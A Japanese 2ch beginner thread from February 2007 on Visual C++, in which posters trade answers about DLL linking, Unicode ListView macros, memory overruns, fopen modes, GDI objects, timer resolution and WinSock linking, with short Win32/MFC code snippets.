★初心者にVisual C++を教えるスレ★ Part25

このエントリーをはてなブックマークに追加
307いーぶいしー
クライアント(.exe)から
自分で作成したDLLに定義されているClassのpubicなメンバ変数に、アクセスしたい場合、
そのメンバ変数が構造体だと、その構造体の定義はクライアント側にも必要なのでしょうか?
定義を一箇所(DLL側のみ)にはできないのでしょうか?
308デフォルトの名無しさん:2007/02/03(土) 16:49:16
>>307
もちろん必要、共通でinlcudeする*.hファイルに定義しておく。

C++/CLIのrefクラス、ref構造体は例外だけど
309デフォルトの名無しさん:2007/02/04(日) 01:12:51
二色刷りで動物の絵が表紙にデカデカと書いてある本を探しているのですが、
何方かこの本の題名を知らないでしょうか?
なんでも辞書みたいな感じの本で延々とコードが書いてあるらしいのですが。

あとみなさんはどのような本で勉強していますか?
ちなみに僕は学校の授業でやったもののほぼ未経験です。
310デフォルトの名無しさん:2007/02/04(日) 01:52:01
> 動物の絵が表紙にデカデカと書いてある本
沢山あるぞ。好きなのを選ぶが良い。
ttp://www.oreilly.co.jp/index.shtml

> どのような本
一冊で完結なんて出来ないんだから
自分の目的にあった本を
(良い意味で)適当に買いつづけていけばいいと思うよ。

↓参考
推薦図書/必読書のためのスレッド PART33
http://pc10.2ch.net/test/read.cgi/tech/1167140188/l50
311デフォルトの名無しさん:2007/02/04(日) 18:14:46
すいません。御存知の方がいたら教えてください。
環境:Windows XP,VC++6.0 「_MBCS」指定
Windowsのアプリを作っているのですが、リストビューの部分のみにUnicode文字のデータを表示
させたいので以下のようにリストビューの部分のみワイド文字仕様の構造体を使用しています。
リストビュー設定部のソース
static HWND hList;
LV_COLUMNW lvcol;LV_ITEMW item;
InitCommonControls();
hList = CreateWindowExW(0,WC_LISTVIEWW, L"",WS_CHILD | WS_VISIBLE | LVS_REPORT,
0, 0, 300, 200,hWnd,(HMENU)ID_LISTVIEW,hInst,NULL);
lvcol.mask = LVCF_FMT | LVCF_WIDTH | LVCF_TEXT | LVCF_SUBITEM;
lvcol.fmt = LVCFMT_LEFT; lvcol.cx = 100;
lvcol.pszText = L"項目1"; lvcol.iSubItem = 0;
ListView_InsertColumn(hList, 0, &lvcol);

item.mask = LVIF_TEXT; item.pszText = L"内容1";
item.iItem = 0;item.iSubItem = 0;
ListView_InsertItem(hList, &item);
これで実行すると、リストビュー部に表示される文字が全て16進で表示されてしまいます。
正常に「項目1」,「内容1」で表示させる方法は、無いのでしょうか?
ListView_InsertColumnの部分のヘッダファイルを見ると
#define ListView_InsertColumn(hwnd, iCol, pcol) \
(int)SNDMSG((hwnd), LVM_INSERTCOLUMN, (WPARAM)(int)(iCol), (LPARAM)(const LV_COLUMN FAR*)(pcol))
となっているから無理なのかな?よろしくお願いします。
312デフォルトの名無しさん:2007/02/04(日) 18:39:30
>>311
とりあえずListView_InsertColumn中のSNDMSGがSendMessageAになってる。
LVM_INSERTCOLUMNもAつきのほうだし。
マクロは全滅なきがする。
313311:2007/02/04(日) 21:09:25
>>312
ありがとう。
やっぱプロジェクト自体をUnicode仕様にするしかないのかな?
>マクロは全滅なきがする。
マクロ以外で実現する方法ってあるの?
314311:2007/02/04(日) 21:25:03
とりあえず以下のように自分でマクロを作ってみたらうまく表示できた。
#define ListView_InsertColumn_W(hwnd, iCol, pcol) \
(int)SendMessageW((hwnd), LVM_INSERTCOLUMNW, (WPARAM)(int)(iCol), (LPARAM)(const LV_COLUMNW FAR*)(pcol))
これだけで問題ないんだろうか?
315デフォルトの名無しさん:2007/02/04(日) 21:38:50
>>311-312
SNDMSGは単にSendMessageとして定義されているから、
当然プログラム全体をUNICODE化すればマクロがそのまま使えるんだ。

逆に言えばSendMessageがSendMessageWになりさえすればいいわけだから、
UNICODEとしてマクロを使いたい部分の前にこれ、
#pragma push_macro("SendMessage")
#undef SendMessage
#define SendMessage SendMessageW
後に#pragma pop_macro("SendMessage")を置けばいけると思う。
push_macro/pop_macroがVC6でも使えるかどうかは知らないけど。
316311:2007/02/04(日) 22:00:59
>>315
ありがとう。
#pragma push_macro("SendMessage")
#undef SendMessage
#define SendMessage SendMessageW
InitCommonControls();


item.mask = LVIF_TEXT; item.pszText = L"内容1";
item.iItem = 0;item.iSubItem = 0;
ListView_InsertItem(hList, &item);
#pragma pop_macro("SendMessage")
上記のように修正してみたが、コンパイルは通ったが、表示結果は16進のままだった。
VC++6.0では、push_macro/pop_macroが使えないのかもしれない。
>>314に書いた方法でやってみます。
ありがとう。
317298:2007/02/06(火) 07:43:06
OnInitialUpdate() で実行することが出来ました。
もう一つ教えてください。
エディットボックスなどのコントロールの初期化処理を
したいのですが、どのタイミングでやればいいんでしょうか?

WM_CREATEではまだコントロールが作成されていません。
OnInitialUpdate() では問題ないのですが、最初の一度だけと
いう訳にはいきません。

static BOOL flag;
を使ってifで判定して最初だけ実行すれば出来たのですが、
もっとスマートな方法はありますでしょうか?
318デフォルトの名無しさん:2007/02/06(火) 08:54:09
OnInitialUpdateは最初の一度という意味
319デフォルトの名無しさん:2007/02/06(火) 10:39:28
>>317
Documentが変わってもView内のコントロールの位置やサイズが変わらない
タイプのアプリの場合は、自分もOnInitialUpdateでstaticなフラグ使って
一回だけやってる。特に問題ないと思うけど。

これ以上はアプリ形態と初期化内容が判らない限り何ともいえない。
320デフォルトの名無しさん:2007/02/06(火) 16:24:36
ヘッダファイルに変数を追加するだけで
アプリケーション起動時にOSがエラーを出してくることがあります
もう一つ二つ意味のない変数を追加すれば治ることもあるのですが
これはどうしてなのですか?変数追加だけなので
プログラムの中で使ってもいません名前も被っていないです
どんな変数でもこの症状が起こるときは起こります
321デフォルトの名無しさん:2007/02/06(火) 16:28:09
領域外アクセスとかのバグが変数追加で表面化したんだろ
322デフォルトの名無しさん:2007/02/06(火) 16:29:38
つまり他の変数になにか問題があるということですか?
323デフォルトの名無しさん:2007/02/06(火) 16:41:35
Runtime Error!
Program:_xxxxxxxxxxx ←exeの場所
abnormal program termination

こんな感じで表示されます
今回は他の変数を追加しても直りません
助けてください。アクセス外ということは文字列かなにか
静的に領域をとってる配列等が原因なのでしょうか?
324デフォルトの名無しさん:2007/02/06(火) 16:48:23
文字列20文字もいらない文字の領域を200にしたらいけました
うーん無駄に領域を確保すれば直るなんて謎だ
325デフォルトの名無しさん:2007/02/06(火) 16:54:18
謎っつーか、メモリの管理がすげー甘いんじゃなかろうか
一度きっちり調べ直してみることをお薦めする
326デフォルトの名無しさん:2007/02/06(火) 17:14:52
すいません独学なんですがメモリ管理では
全てのメンバ変数にdeleteをしたほうがいいのでしょうか?
327デフォルトの名無しさん:2007/02/06(火) 17:19:11
newしたものにはdelete、new[]したものにはdelete[]。
逆にnewしていないものにdeleteは要らない。

ただし可能な限り、std::vectorなどnew[]/delete[]を隠匿したものを使ったり、
boost::shared_ptr/arrayやboost::scoped_ptr/array、std::auto_ptrなど、
せめてdelete/delete[]だけでも隠匿して使うようにすべき。
328デフォルトの名無しさん:2007/02/06(火) 17:22:56
文字列などは配列で静的に確保しないほうがいいのでしょうか?
newで動的確保するべきなのですか?
329デフォルトの名無しさん:2007/02/06(火) 17:26:58
大量にバッファを必要とするのならともかく、
そうでないのなら静的確保で十分
330デフォルトの名無しさん:2007/02/06(火) 17:30:17
私はその他のオブジェクトもnewで動的確保はしていませんでしたので
deleteを使うところが見当たりません
原因は全て静的にしているせいなのでしょうか?
331デフォルトの名無しさん :2007/02/06(火) 17:36:36
いまだにdllの仕組みが理解できません。
猫でものホームページ見ながら作ってみたんですが
dllを作った時のヘッダを含めて
かつその時出来たlibファイルを
#pragma comment(lib,"〜.lib)
か、リンカの設定でリンクしないと使えないのは
libを通してやらないと、dll内の関数を呼び出すことは出来ないと
いう事なんでしょうか。
LoadLibraryを使っても意味無かったので、よくわからないです。
どなたか教えて頂ければ幸いです。

VS2005というIDE環境で勉強してるから楽出来てる分その楽
出来ている理由が解って無く勉強不足になってると自らは思います。
332デフォルトの名無しさん:2007/02/06(火) 17:41:21
>>330
「静的」「動的」の意味が分かっていないような気がする。

コードの中で
  int i;
  char String[80];
とかやるのが「静的確保」。これらの変数は実行ファイルがメモリ上に
ロードされた時点で既に存在していて、終了と同時に消滅する。
グローバル変数だろうが(クラスの)メンバ変数だろうがそれは同じ。
したがって delete/delete[] は必要ない。
333デフォルトの名無しさん:2007/02/06(火) 17:48:03
>>331
LoadLibraryで読み込んだDLLの関数を呼び出すには、
GetProcAddressで関数のアドレスを取得するんだよ。
334デフォルトの名無しさん:2007/02/06(火) 17:49:34
>>331
VS2005で「DLLを作る」と言ったときには自動的にLIBファイルも作られるけど、
この2つは完全に別種のもの。中身は一緒、ただ使い方が違う。

LIBファイルは静的リンク用のファイル。
自分の実行ファイルの中に(コンパイルの時点で)取り込んでしまって、
あたかも自分の書いたコードと同じように使えます、というもの。
だからLIBを組み込むときにはリンカなり#pragmaなりで予め設定をして、
コンパイルのときにリンクすることを明示しなければならない。

DLLは動的リンク用のファイル。
一般的には、まずLoadLibrary()でDLLファイルを読み込み、
(そこでもし成功したなら)次にGetProcAddress()で
DLLの中に埋め込まれた関数を取り出して使う、
最後にFreeLibrary()でDLLを自分のプログラムから取り外す、
という段取りを踏む。
コンパイル時には存在しなくても構わない、実行時にあればいい。
335デフォルトの名無しさん:2007/02/06(火) 17:55:16
>>332
うーんということは私が知らず知らずのうちに
どこかで動的確保しているということでしょうか?
336デフォルトの名無しさん:2007/02/06(火) 18:02:34
>>334
>VS2005で「DLLを作る」と言ったときには自動的にLIBファイルも作られるけど、 
このLIBはインポートトライブラリ。
LoadLibraryやらGetProcAddressやらメンドクサイ処理をしてくれる短いモジュール。
これを静的にリンクすればDLLの呼び出しが簡単に出来る。
インポートトライブラリがあるなら極力使ったほうが楽。
337デフォルトの名無しさん:2007/02/06(火) 18:05:31
インポートトライブラリ
インポートトトライブラリ
インポートトトトライブラリ
338320:2007/02/06(火) 18:12:06
スレッドオブジェクトの配列をグローバル変数にしてるんですが
これはまずいですか?せめて原因をつきとめたいです
339デフォルトの名無しさん:2007/02/06(火) 18:12:57
>>335
動的確保はスタックに積むケースとnewやmallocなどでヒープから確保するケースがある。
静的確保はstaticで定義した場合(明示的にstaticをg使わないケースも含む)
クラス内のメンバー変数はクラスがどう生成されたかによる。

>>336
誤字をさらにコピーしてしまったか、インポートライブラリだな。
340331:2007/02/06(火) 18:44:51
>>333さん
>>334さん
>>336さん
ご教授ありがとうございました。
GetProcAddress()FreeLibrary()ってのも必要なんですね。
それと、dll作った時のlibはインポートライブラリなんですね。
「プログラムはなぜ動くのか」って本を読んだにもかかわらず
流し読みで頭に入っておらず再読したらちゃんと書いてありました。
はぁ、馬鹿だな俺って。
341デフォルトの名無しさん:2007/02/06(火) 19:56:07
SendMessageであるウィンドウにDボタンを送りたいのですが、
SendMessage(hwnd,
このあとをどうすればよいのでしょうか。
ご教授願います。
342デフォルトの名無しさん:2007/02/06(火) 20:06:34
>はぁ、馬鹿だな俺って。
それに気がつくことができれば、今後はもっと「馬鹿」じゃなくなるでしょう。
そうやって向上できる人間が、「賢い」のです。
#で、「ご教示」ですね。

>>320
ソース公開しちゃった方が話が早そうですね。
343デフォルトの名無しさん:2007/02/06(火) 20:07:43
>>341
Dボタンってなんですか?
マウスクリックのイベントを送りたいなら、Spy++でどういうパラメータを渡せばいいか覗いてみると宜しいかと。
344317:2007/02/06(火) 21:25:08
>>319
フラグを使うのは普通なんですね。
ありがとうございました。
345デフォルトの名無しさん:2007/02/07(水) 00:17:13
>>320
いろいろ言われてるけど、とりあえず
配列利用時に、添え字がオーバーアクセスしてないか確認するべし。

> 原因を突き止めたい
デバッガを上手に利用しましょう。
ある特定のメモリ空間にアクセスした時にbreakかけることも出来たはず。
詳しくは「ブレークポイント」をMSDNで調べてくれ。
346デフォルトの名無しさん:2007/02/07(水) 00:59:43
基礎的すぎる質問なんですが、


ダイアログエディタで適当にあれこれコントロールを張ったとき、
VC++2003でビルドしたプログラムを98SEで走らせると、

コントロールのマルチバイト文字がすべて文字化けする。
エディットボックスに直接マルチバイト文字入れても同じく。
メニューバーやステータスバーは文字化けしない。

文字はTCHAR系統を使い、ビルドした結果はすべてwchar_tになっているはず。


このような状況で、文字化けさせない用にする方法を教えてくださいませんでしょうか?
347デフォルトの名無しさん:2007/02/07(水) 01:47:02
9xはUNICODE対応していないから、MSLUを使うか非UNICODEにするかしないとだめだよ。
348デフォルトの名無しさん :2007/02/07(水) 02:07:28
2000とXPは内部コードはUnicodeだけど98とかはどうなんだろう。
localeまわりかな?Unicode適応しないでビルドしたらSJISになっていけるのかな?
349デフォルトの名無しさん:2007/02/07(水) 02:23:29
>>347
なるほど…
わかりました。
ありがとうございました。
350デフォルトの名無しさん:2007/02/07(水) 09:03:22
>>346
マルチバイト文字(列) と ワイド文字(列) の意味を
使い分けられて無い気がするぞ。

マルチバイト文字列は char* で
ワイド文字列は wchar_t* だ。
351デフォルトの名無しさん:2007/02/07(水) 10:14:21
そもそもダイアログでコードページ932で作ってたりして
352デフォルトの名無しさん:2007/02/07(水) 10:18:25
クラスのメンバ変数についての質問です
グローバル変数としてビュークラスの外で宣言したクラスの
メンバ変数は0や空文字で初期化されてるんですが

そのクラスをビュークラスのメンバとして宣言するとそのクラスの
メンバ変数が初期化されないのはどうしてですか?
353デフォルトの名無しさん:2007/02/07(水) 10:26:03
>>352
C++スレ行くか
C++の入門書でも読んで勉強してください
354デフォルトの名無しさん:2007/02/07(水) 10:31:05
>>353
わからないんですね
355デフォルトの名無しさん:2007/02/07(水) 10:36:05
入門書にしっかり書いてある
356デフォルトの名無しさん:2007/02/07(水) 10:39:04
http://pc10.2ch.net/test/read.cgi/tech/1167476845/
ではここで教えてください
357デフォルトの名無しさん:2007/02/07(水) 11:03:34
グローバル変数はコンパイル時に場所が決まってるから
358デフォルトの名無しさん:2007/02/07(水) 16:30:17
というより、C/C++の規格でそうなると定められているためと言ったほうがいいと思う。
359デフォルトの名無しさん:2007/02/07(水) 16:33:10
どうだろね。
仕組みから入ったほうが、そう決まってるからそうなんだ、より納得いくかもしれんし
360デフォルトの名無しさん:2007/02/07(水) 17:01:56
実装がそうだからそれが正しいという保証はどこにもない
361デフォルトの名無しさん:2007/02/07(水) 17:25:43
逆にこれは実装が先にあって仕様が追いついた例でもあるな。
構造体のコピーも似たようなもの。
362デフォルトの名無しさん:2007/02/07(水) 18:49:23
VC++7.0でライブラリファイルをリンクする方法を教えてください
winsockライブラリを使いたいのでお願いします
363デフォルトの名無しさん :2007/02/07(水) 19:23:53
#pragma comment(lib, "Mswsock.lib")
364269:2007/02/08(木) 08:10:55
269です。たびたび申し訳ありません。

SDK入れてWindowsアプリが作れるようになったんですが、ダイアログやアクセレータ等の
リソーススクリプトファイル(.rc)をエディットするResEditorがついてないみたいなので断念しそうです。
というかそれが目的だったので。
Windowsフォーム(.h)は作れるみたいですがどうしていいのかわかんないです。

Visual Studio 2005 Academic Editionだったらリソーススクリプトファイル(.rc)の作成は可能でしょうか?
可能ならば購入したいと思います。よろしくお願いします。
365デフォルトの名無しさん:2007/02/08(木) 10:01:56
MSに訊け
366デフォルトの名無しさん:2007/02/08(木) 10:07:23
>>363
ありがとうございます
367デフォルトの名無しさん:2007/02/08(木) 10:35:00
>>364
可能だがフリーのエディタもあるよ
368デフォルトの名無しさん:2007/02/08(木) 11:04:04
メモ帳でええがな
369デフォルトの名無しさん:2007/02/08(木) 11:50:13
VisualStudio2005C++ExpressEditionにて
#include "stdafx.h"
#include"stdio.h"

int _tmain(int argc, _TCHAR* argv[])
{
FILE *fp=fopen("d:/test.txt","rw");
というコードを書きました。
FILE文付近で「〜Expression:(Invalid file open mode",0)〜」
というダイアログボックスがでます。
CRTセキュリティ強化されたためということですが、このセキュリティを
弱くしたいと思います。どのようにすればよいですか?
370デフォルトの名無しさん:2007/02/08(木) 11:50:39
WinSockのAPIを使ってphpから文字列を取得することはできますか?
371デフォルトの名無しさん:2007/02/08(木) 12:12:23
>>369
セキュリティ強化用の関数が追加されたけど
標準関数の仕様はかわらないのでは?
372デフォルトの名無しさん:2007/02/08(木) 12:18:22
>>370
プロトコル次第
373デフォルトの名無しさん:2007/02/08(木) 12:20:17
>>372
httpなんですが
あとサーバーに送る文字列の改行コードは\nで大丈夫でしょうか?
374デフォルトの名無しさん:2007/02/08(木) 13:09:22
>>371
標準関数の仕様はかわらないのでは?
たぶんそうだと思うのですがうまくいかないです。
375デフォルトの名無しさん:2007/02/08(木) 13:18:46
エラー通り"rw"が悪い
376デフォルトの名無しさん:2007/02/08(木) 14:04:09
>>275
VisualStudio2003だとうまくいくのですが、
構文的にrwなんてつけたらだめなのですか?
377デフォルトの名無しさん:2007/02/08(木) 15:05:50
unicodeかなんかじゃないの?
378デフォルトの名無しさん:2007/02/08(木) 15:56:14
"rw" なんてのは無い
379デフォルトの名無しさん:2007/02/08(木) 16:37:09
MSDNこういう例ものってるし "rw" もあるだろ

http://msdn2.microsoft.com/ja-jp/library/yeby3zcb(VS.80).aspx

fopen("newfile.txt", "rw, ccs=<encoding>");
380デフォルトの名無しさん:2007/02/08(木) 17:11:52
多分すごい有名な
「新VisualC++6.0入門ビギナー編 林春比古署 ソフトバンク社」
を使って今勉強中なんですが、
241ページのサンプルプログラムで、
CPenクラスのオブジェクトのポインタ、’oldPen’ってゆうのを、
’旧ペン’と銘打って保存って書いてありますが、
これをする意味がわかりません。
わざわざポインタでなぜ確保しているのでしょうか?
pDC->SelectObject(&CPen型Object)で選択して書くだけなのに、
別に’旧ペン’を保存しておく必要があるのでしょうか?
私が簡単に確認した程度では、
oldPen 自体設定しなくても実行可能でしたし、
最後に’旧ブラシに戻す’ってゆう作業もなくても問題ありませんでした。
他にもいろいろ記述してoldPenの有用な使い方を検証しましたが、
やればやるほど意味がないのではという考えに傾きます。
大変限定的な質問ですが、
よければ本を持ってる方、もしくはよく知ってらっしゃる方でわかる方がいれば
教えていただけないでしょうか?


381デフォルトの名無しさん:2007/02/08(木) 17:21:08
MSDNのサンプルだとこんな感じだね

void CMyView::OnDraw( CDC* pDC )
{
CPen penBlack; // Construct it, then initialize
if( newPen.CreatePen( PS_SOLID, 2, RGB(0,0,0) ) )
{
// Select it into the device context
// Save the old pen at the same time
CPen* pOldPen = pDC->SelectObject( &penBlack );

// Draw with the pen
pDC->MoveTo(...);
pDC->LineTo(...);

// Restore the old pen to the device context
pDC->SelectObject( pOldPen );
}
else
{
// Alert the user that resources are low
}
}
382デフォルトの名無しさん:2007/02/08(木) 17:24:47
http://forums.belution.com/ja/vc/000/049/00.shtml
メモリ上のDCは元に戻すべきか?
383デフォルトの名無しさん:2007/02/08(木) 17:24:47
>>380
ttp://msdn2.microsoft.com/en-us/library/ms533272.aspx
>An application should always replace a new object with the original, default object after it has finished drawing with the new object.
384デフォルトの名無しさん:2007/02/08(木) 17:28:50
げ、マルチか
385デフォルトの名無しさん:2007/02/08(木) 18:10:14
386デフォルトの名無しさん:2007/02/08(木) 18:56:26
>>379
VS2005でソースみてみな
387デフォルトの名無しさん:2007/02/08(木) 20:16:15
プログラムからtabindexの設定をするには?
388デフォルトの名無しさん:2007/02/08(木) 20:20:28
>>369>>379
C/C++の標準規格としては"rw"なんてありません。
標準で認められているのは"r", "w", "a", "r+", "w+", "a+"及び
それにバイナリモードのbを2-3文字目(+とは順不同)に入れたもののみです。
勿論Visual C++はViusal C++で色々と独自に拡張はしていますが。
389デフォルトの名無しさん:2007/02/10(土) 17:51:19
WinSockでhttpsを扱えますか?
390デフォルトの名無しさん:2007/02/10(土) 18:07:09
扱えるかどうかと言えば扱える
ソケットとプロトコルは関係ない
要はアプリケーションがWinSockを使ってSSL通信できるように作ればいい
391デフォルトの名無しさん:2007/02/10(土) 18:49:44
>>390
ありがとうございます少し調べてみます
392デフォルトの名無しさん:2007/02/11(日) 01:39:25
【初心者歓迎】C/C++室 Ver.34【環境依存OK】
で聞いたらスレ違いという事でここでオナガイシマス
VC6ですCtrl + Fで検索ダイアログを開いた時過去に検索した文字が出せますが
便利ですが間違えた検索単語を間違えたときの文字も残っています
一度まっさらにするにはどうしたら良いですか?
393デフォルトの名無しさん:2007/02/11(日) 06:19:07
パソコン初心者だろうか?
394デフォルトの名無しさん:2007/02/11(日) 09:42:36
WinFormsのTextBoxで、
テキストの行がコントロールからはみ出たら最終行がきちんと見えるように
オートスクロールさせたいのですが
デザイナ内にもそれらしき設定はなさそうですし、
マニュアルでプロパティを調べてもそれっぽいものが見当たりません。
どうしたらいいでしょうか?

AutoScrollOffsetってのがそうですか?
なんかPointでスクロール先を指定するみたいですが、
もしこれがそうなら使い方が良く分からないので教えてください。
395394:2007/02/11(日) 10:10:49
とりあえず格好悪いですが
textBox->SelectAll();
textBox->ScrollToCaret();
でできました。
396デフォルトの名無しさん:2007/02/11(日) 12:27:54
ヒント
・オートスクロールが有効になっている場合、自動的にキャレットのある位置が表示されるようにスクロールされる
・TextBox::SelectionStartが現在のキャレットの位置
397デフォルトの名無しさん:2007/02/11(日) 14:46:27
392ですがどうしたら消せる?
398デフォルトの名無しさん:2007/02/11(日) 15:02:24
レジストリ辺りにでも保存されてるんじゃねーかな。
もしくは再インストール。
399デフォルトの名無しさん:2007/02/11(日) 23:32:04
Lap[Count - 1] + Step >
(Lap[Count] = GetTickCount())
);/* case 2: の timeGetTime の部分*/
Stepが0以外だとStepに関わらず、このループを抜けるのに15ms以上もかかってしまいます。(Lap配列の数値を見て)
最初のtimeGetTimeの10万回ループは47msで遅いわけでもないですし、そもそもtimeGetTimeだとうまく動くのです。
どうしたらよいのでしょうか。
400デフォルトの名無しさん:2007/02/11(日) 23:43:08
いったいそれのどのあたりがループなんだ?
401399:2007/02/11(日) 23:50:06
>>400
ソースはってませんでした。

http://deaikei.biz/up/up/4549.zip.html
pass:cpp

#pragma comment(lib, "winmm.lib")を追加したら、
timeGetTime()とGetTickCount()の両方でうまく時間が出てこなくなってしまいました。

元に戻してもダメなので、ビルドする度に違うのかもしれません…
402デフォルトの名無しさん:2007/02/12(月) 00:07:11
まず、ビジーループ氏ね
それに、timeGetTimeのNTでの規定精度は「5ms以上」
ついでに、強制コンテキストスイッチの間隔もある。
403399:2007/02/12(月) 00:29:54
>>402
試しに比較したかっただけなので、ループの方は勘弁してください。
timeBeginPeriodで精度を1msに調整しても結局GetTickCountで同様の症状になってしまいます。
コンテキストスイッチの待ち時間は10msを超えるようなものでしたっけ?
404デフォルトの名無しさん:2007/02/12(月) 02:17:41
GetTickCountのヘルプ読んだか?
家のPCだと100ns単位で156250、約16ms程度の解像度だぞ。
405デフォルトの名無しさん:2007/02/12(月) 08:24:06
普通1/60秒だからそんなもんだね。
406399:2007/02/12(月) 19:24:33
>>404-405
ようやく理解できました。
Sleep(0)ループのようにタイマー割り込みを待つのですね…
GetSystemTimeAdjustmentで測ってみたら15.625msでした。
407デフォルトの名無しさん:2007/02/13(火) 12:47:54
CString型のメンバ変数strに文字列をいれていたのに
突然中身がなくなるというかデバッグ時にみると不適切なptr
となってアドレスは0を指しているようでした

関数から関数を呼び出してさらに関数をよびだしていきどんどん奥にいくと
この現象が起きたのですが
これはスタックオーバーフローというものですか?
解決策を教えてください
408デフォルトの名無しさん:2007/02/13(火) 12:49:09
>>407
関数一個ずつ丹念にデバッガで追っていくのが無難かな。
スタックオーバーフローにしろ領域破壊にしろ、どっかで誰かがなんかやってるだろうから。
409デフォルトの名無しさん:2007/02/13(火) 13:00:34
>>408
ありがとうございます!!
strncpyで領域破壊を起こしていました

すごく助かりました!!
410デフォルトの名無しさん:2007/02/13(火) 14:14:12
私はもともとC++Builder出身なのですが
VB6で、あるアプリを作成しています。

このアプリは、主処理のほとんどが
MS.NET Framework1.1 VC++.NET
で生成されたDLLで行われています。

このDLLをステップ実行やインスペクタでデバグしたいのです
が、親アプリがVBなので、どうやってデバグしたら良いやら
困り果ててます。

どなたかVC++のDLLのデバグ方法を伝授してください…
できれば簡単なやつで。
411デフォルトの名無しさん:2007/02/13(火) 14:50:21
ソースとデバッグ版DLLとpdbファイルがあればおk
412デフォルトの名無しさん:2007/02/13(火) 14:54:59
ソース、デバッグ版DLL、pdbファイルあります!
もちょっとだけ具体的に教えてもらえないでしょうか…
413デフォルトの名無しさん:2007/02/13(火) 15:32:24
それって開発環境そのまま?
途中で止めてアタッチする手もあるが、環境あるなら
DLLのデバッグ開始すると、実行時にEXE指定しろって言ってくるから
それでそのEXE指定すればいいと思う。
デバッグしたいとこはブレークポイント設定しておけばいいし。
414デフォルトの名無しさん:2007/02/13(火) 15:35:06
もしVB側もデバッグしてるのなら、関数呼び出し時にステップインで
DLLとPDBが同じとこにあればソースの場所聞いてくると思うので
そこでソース選べば追えると思うけど、、、

VB呼び出しはもしかしたら違うかもしれん、、、
C/C++からの呼び出ししかやったことないんで。
もしだめなら試すから言ってくれ
415デフォルトの名無しさん:2007/02/13(火) 18:25:23
>>413-414
丁寧なご回答ありがとうございます。
でもまだちょっと分かってないです…

DLLですが、メイク時に実行すると
「ActiveXコントロールテストコンテナ」というのが
出ます。
これかのことか!?と思ったのですが、EXE指定はできないっぽいです。

>>414さんの方法は今がんがってる最中です…
416デフォルトの名無しさん:2007/02/13(火) 20:56:40
質問です。
学校で使っている描画のプログラム(?)をVC++6.0で使いたいと思い、
ヘッダーファイルとライブラリファイルを
Microsoft Visual Studio\VC98 のIncludeフォルダとLibフォルダにそれぞれ入れ、
プログラムをコンパイルしたのですが、

warning LNK4003: ライブラリの形式が無効です; ライブラリは無視されます

とエラーになってしまいます。
これと同様のことをBCC5.5でしても問題ありませんでした。
何か間違っているところがあれば是非教えてください。
417デフォルトの名無しさん:2007/02/13(火) 21:01:20
ライブラリがBCC用なんだろ。
418418:2007/02/13(火) 21:40:29
>>417
Win32 Static Libraryでプロジェクトを作りそこにライブラリソースを追加しビルドしました。
そしてできたライブラリファイルで再び試してみると、

ライブラリの形式が無効です  このエラーはでなくなりましたが、
LNK2001 :外部シンボル"関数名"は未解決です  このエラーは消えませんでした。

ライブラリファイルの作り方もよくわからなかったのですが合っているでしょうか?
419デフォルトの名無しさん:2007/02/13(火) 21:41:53
"関数名"が、そのライブラリに入っているべきものなら、
どっか、あってないんだろ。
420デフォルトの名無しさん:2007/02/13(火) 22:36:39
.NETでダイアログベースで作ってます。
CRectとGetWindowRectを使用して自身の座標を得ることはできたのですが
自身と関係ないWindowの座標を得る場合にはどうしたらいいんでしょうか?
421デフォルトの名無しさん:2007/02/14(水) 00:22:20
GetWindowRectだな。

必要とするウィンドウのハンドルを取得するべし。。
.NET Frameworks だけじゃ無理な気がしたので、WinAPI を使いましょう。
422デフォルトの名無しさん:2007/02/14(水) 12:19:22
エディットコントロールにintの中身を表示させるにはどうしたらいいんですか?
文字列は"”でできました。
変数だけ書いたらエラーでました。
423デフォルトの名無しさん:2007/02/14(水) 12:33:45
釣れますか?
424デフォルトの名無しさん:2007/02/14(水) 14:47:48
編集制御->文字列 = 文字列にな〜れ(数値);
425デフォルトの名無しさん:2007/02/14(水) 16:27:57
>>420
なぜ.NETでCRectとGetWindowRectが出てくる?
426デフォルトの名無しさん:2007/02/14(水) 17:05:59
VC6.0でベースがDIALOGか、SDIで出力結果をDOS窓に出す方法はあるんですか。
はじめからDOS窓アプリにしないとだめですか?
427デフォルトの名無しさん:2007/02/14(水) 17:13:21
AllocConsole?
428デフォルトの名無しさん:2007/02/14(水) 17:18:42
VC++プログラマーちょっとこい!!
http://ex17.2ch.net/test/read.cgi/news4vip/1171440924/
429デフォルトの名無しさん:2007/02/14(水) 17:31:05
CTypedPtrList<CObList, VALUE*>のSeqValueListを
CTypedPtrList<CObArray, VALUE*>にする時ってどうすればいいんでしょうか?
下のがソースなんですが、やり方が良くわからない。。。orz
CItemInfo::~CItemInfo(){
int iCount;
POSITION pos;
VALUE *pValue;
m_pValueList = &m_SeqValueList;
iCount = (int)m_pValueList->GetCount( );
pos = m_pValueList->GetHeadPosition( );
for( int i=0; i<iCount; i++ ){
pValue = m_pValueList->GetNext( pos );
delete pValue;
}
m_pValueList->RemoveAll();
m_pValueList = &m_ParValueList;
iCount = (int)m_pValueList->GetCount( );
pos = m_pValueList->GetHeadPosition( );
for( int i=0; i<iCount; i++ ){
pValue = m_pValueList->GetNext( pos );
delete pValue;
}
m_pValueList->RemoveAll();
}
430426 :2007/02/14(水) 17:36:11
AllocConsole();
freopen("con", "w", stdout);
printf("hello console\r\n");
//FreeConsole();
でできました。すみません。
431デフォルトの名無しさん:2007/02/14(水) 17:54:01
エディタの背景を黒にカスタマイズしたいのですが、どこにもそんな項目がありません
ちなみにヴァージョン6.0です
432デフォルトの名無しさん:2007/02/14(水) 18:57:23
エディター?IDEのかな?
ツールのオプションの書式の背景でない?
433420:2007/02/14(水) 21:14:12
void CMyDlg::OnMouseMove(UINT nFlags, CPoint point)
ってところでpointに入っててrectはサイズを知りたくて使ってただけでした、すみません。

クライアント座標はpointに入ってたのですがスクリーン座標を知るにはどうしたらいいんでしょうか?
SetCapture()でクライアント領域外の座標は得れたんですがクライアントが中心になってしまっています。
よろしくお願いします。
434デフォルトの名無しさん:2007/02/14(水) 21:20:59
ClientToScreen
435420:2007/02/14(水) 22:51:21
>>434
できました、
436420:2007/02/14(水) 22:56:32
できました、ありがとうございます!
437デフォルトの名無しさん:2007/02/14(水) 23:09:02
>>433
それどうみても.NETでない。
438デフォルトの名無しさん:2007/02/14(水) 23:33:46
俺たちはとんでもない勘違いをしていたようだ
.NETとは、Visual Studio .Net 2003の省略形だったんだよ!
439デフォルトの名無しさん:2007/02/15(木) 00:04:24
2002 のことも忘れないで上げてください。
440420:2007/02/15(木) 00:06:40
まさしくVisualStudio.Net2003の事です。

.NETとは違ったんでしょうか・・・すみません;
441デフォルトの名無しさん:2007/02/15(木) 00:09:27
な……なんだってー!!
